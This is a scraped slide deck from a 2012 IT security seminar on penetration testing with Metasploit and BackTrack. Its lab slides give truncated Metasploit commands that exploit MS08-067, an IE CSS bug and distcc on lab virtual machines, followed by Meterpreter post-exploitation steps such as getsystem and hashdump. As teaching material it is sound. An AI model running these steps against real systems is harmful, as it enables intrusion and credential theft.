Pentest with Metasploit

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

Ad

penetrationtesting
withmetasploit
Presented by

Syarif

!
Seminar IT Security Safe The System

Sumedang, April 29 2012...

Agenda
• Why & What’s Penetration Testing ( Pentest )

• << back|track Overview

• Metasploit Basics & Meterpreter

• D...

Whoami
• geek & Pentester

• infosec trouble maker

• InfoSec enthusiast

• CyberCrime investigator

• Lecture & Engin...

Why Pentest ?
• Millions of dollars have been invested in
security programs to protect critical
infrastructure to prevent ...

What’s Penetration Testing
• A method to evaluate the security of computer system / network

• Practice ( attacking ) an ...

Ethics
• Think before act

• Don’t be stupid

• Don’t be malicious

Pentest Phases
Vulnerability Analysis
Information Gathering
Exploitation
Post Exploitation
Reporting

<< back|track overview
• Let’s Watch theVideo :)

<< back|track overview
• .
The Most Advanced Linux Security Distribution
Open Source & Always be
Developed for Security Pr...

<< back|track overview

<< back|track overview

What’s
• Not just a tool, but an entire framework *1)

• an Open source platform for writing
security tools and exploits ...

Metasploit interfaces

• MSFconsole

• MSFcli

• msfweb, msfgui ( discontinued )

• Metasploit Pro, Metasploit Expres...

MSFconsole

MSFcli

Metasploit Terminology

• Exploit : code that allow a pentester take some advantages
of a ﬂaw within system,application,...

How does exploitation works
attacker
exploit + payload
vulnerable server
1
exploit run , then payload run
2
3 Upload / Dow...

Traditional PentestVs Metasploit
Public Exploit Gathering
Change offsets
Replace ShellCode
Load Metasploit
Choose the targ...

Meterpreter
• as a payload after vulnerability is exploited *1)

• Improve the post exploitation

Meterpreter
Exploiting a vulnerability
Select a meterpreter as a payload
meterpreter shell

Meterpreter command

Meterpreter command

Meterpreter command

Meterpreter command

Meterpreter command

Pentest Scenario
attacker vulnerable OS onVMware
* : Ubuntu 8.04 metasploitable
*

OS in the Lab
• BackTrack 5 R 2

• IP address : 172.16.240.143

• Windows Xp SP 2

• IP address : 172.16.240.129

• W...

Windows XP Exploitation
• msf > search windows/smb

• msf > info exploit/windows/smb/ms08_067_netapi

• msf > use exploi...

Windows XP Post Exploitation
• session -i 1

• meterpreter > getsystem -h

• getuid

• hashdump

Windows 2003 Server Exploitation
• msf > search windows/smb

• msf > info exploit/windows/smb/ms08_067_netapi

• msf > u...

Windows 7 Exploitation
• msf > use exploit/windows/browser/ms11_003_ie_css_import

• msf exploit(ms11_003_ie_css_import) ...

Windows 7 Exploitation
• msf exploit(ms11_003_ie_css_import) > sessions -l

• msf exploit(ms11_003_ie_css_import) > sessi...

Ubuntu 8.04 Metasploitable Exploitation
• search distcc

• use exploit/unix/misc/distcc_exec

• show payloads

• set PA...

Any Question ?
Contact me
• website : http://ﬂ3x.us

• twitter : @ﬂ3xu5

Greet & Thanks To
• BackTrack Linux

• Metasploit Team ( HD Moore & rapid7 )

• Offensive Security / Metasploit Unleashe...

References
!
!
• 1. Metasploit The Penetration Tester’s Guide : David
Kennedy , Jim O’Gorman, Devon Kearns, Mati Aharoni
...

Share SlideShare

Facebook
Twitter
LinkedIn

Embed

Size (px)

Show related SlideShares at end

WordPress Shortcode

Link

LinkedIn
Facebook
Twitter
Email

Replay

Top clipped slide

1 of 36 Ad

1 of 36 Ad